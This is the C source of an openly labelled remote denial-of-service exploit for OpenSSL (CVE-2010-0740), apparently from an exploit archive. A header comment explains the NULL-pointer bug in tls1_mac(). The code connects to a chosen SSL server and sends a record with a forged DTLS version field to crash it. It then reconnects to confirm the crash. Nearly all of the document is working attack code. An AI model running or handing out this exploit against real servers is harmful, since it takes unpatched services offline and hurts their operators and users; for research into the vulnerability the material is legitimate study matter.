OpenSSL – Remote Denial of Service
/*********************************************************** * hoagie_openssl_record_of_death.c * OPENSSL REMOTE DENIAL-OF-SERVICE EXPLOIT * - OpenSSL 0.9.8m (short = 16 bit) * - OpenSSL 0.9.8f through 0.9.8m (short != 16 bit) * * CVE-2010-0740 * * Bug discovered by: * Bodo Moeller and Adam Langley (Google) * Philip Olausson <po@secweb.se> * http://openssl.org/news/secadv_20100324.txt * * The main problem is in ssl/t1_enc.c => tls1_mac() function * * - OpenSSL 0.9.8m * if (ssl->version == DTLS1_BAD_VER || * (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER)) * { * unsigned char dtlsseq[8],*p=dtlsseq; * s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p); * * - OpenSSL 0.9.8f - 0.9.8n * if (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER) * { * unsigned char dtlsseq[8],*p=dtlsseq; * * s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p); * * There is a NULL pointer dereference => ssl->d1 because d1 is only initialized in * ssl/d1_lib.c => dtls1_new(). So if you use SSLv23_server_method() or * TLSv1_server_method() this variable will be NULL. * * If the patch (see http://openssl.org/news/secadv_20100324.txt) is not applied * its possible to set the version to DTLS1_BAD_VER (0x100) or DTLS_VERSION (0xfeff) * and transmit the packet to the server or client to trigger the vulnerability. * * When you are using OpenSSL 0.9.8m you can send DTLS1_BAD_VER because 0x100 is not * a problem with signed/unsigned. * * If you are using OpenSSL 0.9.8f to 0.9.8n you have to trigger the vulnerability * via DTLS1_VERSION. In that case version will be 0xfffffeff. So it doesnt work * if DTLS1_VERSION is 16 bit. * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * * VOID.AT Security * andi@void.at * http://www.void.at * ************************************************************/ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <time.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <openssl/ssl.h> /* usage * display help screen */ void usage(int argc, char **argv) { fprintf(stderr, "usage: %s [-h] [-v] [-d <host>] [-p <port>]\n" "\n" "-h help\n" "-v verbose\n" "-d host SSL server\n" "-p port SSL port\n" "-t target\n" " 0 ... OpenSSL 0.9.8m (short = 16 bit) - default\n" " 1 ... OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)\n" , argv[0]); exit(1); } /* connect_to * connect to remote http server */ int connect_to(char *host, int port) { struct sockaddr_in s_in; struct hostent *he; int s; if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { return -1; } memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = AF_INET; s_in.sin_port = htons(port); if ( (he = gethostbyname(host)) != NULL) memcpy(&s_in.sin_addr, he->h_addr, he->h_length); else { if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) { return -3; } } if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) { return -4; } return s; } /* ssl_connect_to * establish ssl connection over tcp connection */ SSL *ssl_connect_to(int s) { SSL *ssl; SSL_CTX *ctx; BIO *sbio; SSL_METHOD *meth; CRYPTO_malloc_init(); SSL_load_error_strings(); SSL_library_init(); // meth = TLSv1_client_method(); meth = SSLv23_client_method(); ctx = SSL_CTX_new(meth); ssl = SSL_new(ctx); sbio = BIO_new_socket(s, BIO_NOCLOSE); SSL_set_bio(ssl, sbio, sbio); if (SSL_connect(ssl) <= 0) { return NULL; } return ssl; } int main(int argc, char **argv) { struct sockaddr_in s_in; struct hostent *he; char data[1024]; int s; int target = 0; char c; char *destination = NULL; int port = 0; SSL *ssl = NULL; fprintf(stderr, "hoagie_openssl_record_of_death.c - openssl ssl3_get_record() remote\n" "-andi / void.at\n\n"); if (argc < 2) { usage(argc, argv); } else { while ((c = getopt (argc, argv, "hd:p:t:")) != EOF) { switch (c) { case 'h': usage(argc, argv); break; case 'd': destination = optarg; break; case 'p': port = atoi(optarg); break; case 't': target = atoi(optarg); break; } } if (!destination || !port) { fprintf(stderr, "[*] destination and/or port missing\n"); } else if (target && target != 1) { fprintf(stderr, "[*] invalid target '%d'\n", target); } else { s = connect_to(destination, port); if (s > 0) { fprintf(stderr, "[+] tcp connection to '%s:%d' successful\n", destination, port); ssl = ssl_connect_to(s); if (ssl) { fprintf(stderr, "[+] ssl connection to '%s:%d' successful\n", destination, port); snprintf(data, sizeof(data), "GET / HTTP/1.0\r\n\r\n"); fprintf(stderr, "[+] sending first packet ...\n"); SSL_write(ssl, data, strlen(data)); if (!target) { ssl->version = DTLS1_BAD_VER; } else { ssl->version = DTLS1_VERSION; } fprintf(stderr, "[+] sending second paket ...\n"); SSL_write(ssl, data, strlen(data)); SSL_shutdown(ssl); close(s); sleep(1); s = connect_to(destination, port); if (s > 0) { fprintf(stderr, "[-] exploit failed\n"); close(s); } else { fprintf(stderr, "[+] exploit successful\n"); } } else { fprintf(stderr, "[-] ssl connection to '%s:%d' failed\n", destination, port); } } else { fprintf(stderr, "[-] tcp connection to '%s:%d' failed\n", destination, port); } } } return 0; } |